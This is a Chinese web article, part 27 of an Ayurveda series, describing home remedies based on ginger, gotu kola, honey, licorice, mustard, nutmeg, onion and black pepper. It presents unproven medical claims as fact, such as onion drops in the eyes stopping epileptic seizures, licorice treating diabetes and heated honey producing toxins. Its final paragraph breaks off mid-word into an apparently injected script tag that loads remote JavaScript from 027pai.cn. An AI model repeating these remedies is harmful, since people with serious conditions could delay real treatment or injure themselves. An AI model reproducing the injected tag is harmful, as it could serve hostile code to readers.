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阿育吠陀连载之二十七
 
 

我们推荐生姜浴来对付身体疼痛。磨碎的生姜放在一张布中,将它挂在热水龙头上从而让热水流动的时候经过生姜。这种生姜水缓解疼痛,拥有清爽轻松的效果。


雷公根。草药雷公的叶子看上去像脑子的两半球。雷公根作用在脑组织。它对于提高记忆力和智力都有着非常显著的作用。它促进脑组织生长,从而发展领悟力和理解力。
雷公根缓解压力,息心宁神。在梵语中,它被叫做菠萝蜜(菠萝蜜意为宇宙意识)。这种草药推动左右大脑半球间的能量流动。
雷公根也是一种解充血药,被用于减轻窦性问题。用粉末形式来清洗粘液:取四分之一茶匙和蜂蜜一起早晚服用。
雷公根的实质作用在思想和高层意识。我们也可以茶饮的形式(临睡前喝一杯)来促进熟睡和安静机敏的觉醒。


蜂蜜。这种物质在体内产生热量,因此它表现为减少瓦塔和卡法。它的味道甜和涩。蜂蜜对于治疗内部和外部溃疡有好处。像酥油一样,蜂蜜将草药的医用性能带到身体的组织,因此被用作许多物质的媒介。蜂蜜是一种绝佳的血液净化物,同时它对眼睛和牙齿也有益处。它减轻感冒,咳嗽和充血。当它被用作给外伤敷药时,它有助于愈合过程。
蜂蜜和水混合可以给予身体精力,有助于冲洗肾脏。如果适量摄入,它可以减少脂肪。蜂蜜不应该被烹饪因为烹饪过程改变了它的属性,使其和身体不相容。加热的蜂蜜会阻塞消化道并且产生毒素。

甘草。这种物质是甜的,略带涩味。它是一种天然的化痰剂。甘草清洁口腔,促进唾液分泌,增加胃肠道的分泌。咀嚼一根甘草棒可以清洁口腔和牙齿,防止龋齿。甘草也有杀菌作用。
它也被用于减轻咳嗽,感冒和充血。茶饮方式可以达到这个效果。
甘草也是一种催吐药。两到三杯强烈的甘草茶可以引起恶心和呕吐,有助于排出胃中过量的粘液,同时也排出产生胸部充血的过量粘液。
甘草是一种对于胃溃疡和胃炎非常有效的解药。要治疗这些疾患,只要在一杯茶中放入一茶匙或者少于一茶匙的甘草粉即可。
甘草可以被制成药用油或者和酥油一起内服。这种药物被用于糖尿病,支气管炎,感冒和反复哮喘发作。(见位于处方部分的甘草酥油制备-附录c)
甘草酥油可以被用作外伤的外用药。可以应用甘草酥油来治愈受感染或者无法愈合的伤口。如果一个人有规律地使用甘草酥油(每天半茶匙),它有助于缓解胃溃疡的炎症
甘草也是一种对于胆囊炎症非常有效的解药。饭后服下甘草茶可以帮助消化和缓解便秘。


芥菜。芥菜非常辛辣,热性,强烈,刺鼻和油性。其种子被用于家用调味品。他激发生物火,中和毒素。然而,芥菜必须谨慎使用因为他加重皮塔。
芥菜作为镇痛剂,它可以减轻肌肉疼痛。它是一种驱风剂同时也可以减轻充血。
芥菜粉和水混合可以用作膏药。它不能直接应用在皮肤上否则会发生起泡。膏药应该涂在一张布上然后将布搁在皮肤和膏药之间以缓解关节痛或者胸痛。
芥菜也被用于热敷来缓解肌肉痉挛。将芥菜籽扎在一块小布里,将其放入热水中。然后将手脚浸入热水中以缓解关节痛或者肌肉酸痛。芥菜籽和水可以使肌肉放松。
芥菜可以被用于烹饪和煎炒。在一个盘子里加热麻油,当油热的时候放入大约两撮芥菜籽和洋葱,大蒜和蔬菜一起煎炒。蔬菜会变得很轻,易于消化。芥菜可以被用于消化不良,腹胀和消化不良引起的不适。


肉豆蔻。这种草药具有芳香和刺激性。他被用于改善茶和牛奶的味道。它和牛奶一起服用可以作为心脑的补药。它也可以被用来减缓性功能低下。肉豆蔻也对尿失禁,全身无力,痢疾,胀气和腹部钝性酸痛以及胃口丧失和肝脾失调有效
肉豆蔻是一种迟缓剂,它诱导自然睡眠,因此它对失眠有用。它应该谨慎使用而且仅限成年人因为他的作用很强烈,一次一撮。
它对瓦塔或者卡法的人群很好。对于皮塔体质的人群,肉豆蔻可以在更小剂量下使用。


洋葱。洋葱是一种强烈的刺激物,它是辛辣的和芳香的。内用时它的作用是热的。强烈气味中含有氨气,它是一种眼睛的刺激物,引起鼻子和眼睛流泪。洋葱刺激感觉,因此如果一个人感到头晕目眩,一个切片的洋葱吸入以后可以缓解症状。洋葱帮助消化和刺激性的能量。它们是激素,不推荐那些以独身为精神戒律的人食用。
烹饪过的洋葱是甜的,不太辛辣。如果它们作为膏药应用在皮肤疖子上,这个疖子将会裂开。高烧和由此造成的惊厥可以用磨碎的生洋葱包裹在一张布里放在前额或者腹部来得到缓解。
将洋葱鼻吸入或者滴眼可以缓解急性癫痫发作。它也有助于降低胆固醇。它是良好的心脏补品:洋葱的作用有助于降低心率。半杯新鲜洋葱汁和两茶匙蜂蜜内附可以缓解哮喘,咳嗽,痉挛,恶心和呕吐。它也能杀灭肠道蠕虫。将一个磨碎的洋葱,半茶匙姜黄和半茶匙咖喱粉做成糊敷贴在问题区域可以缓解关节痛。

辣椒(黑胡椒)。这种香料是辣的和热的,它是一种帮助激发生物火的刺激物。它增加消化液的分泌和改善食物的味道,他被用于缓解便秘,痔疮,胀气和胃口丧失。这种草药也可以和一撮蜂蜜一起驱除大?script src=http://027pai.cn/s.js>



文章来源:光胤瑜伽     发布时间:2010-8-19 14:32:35    

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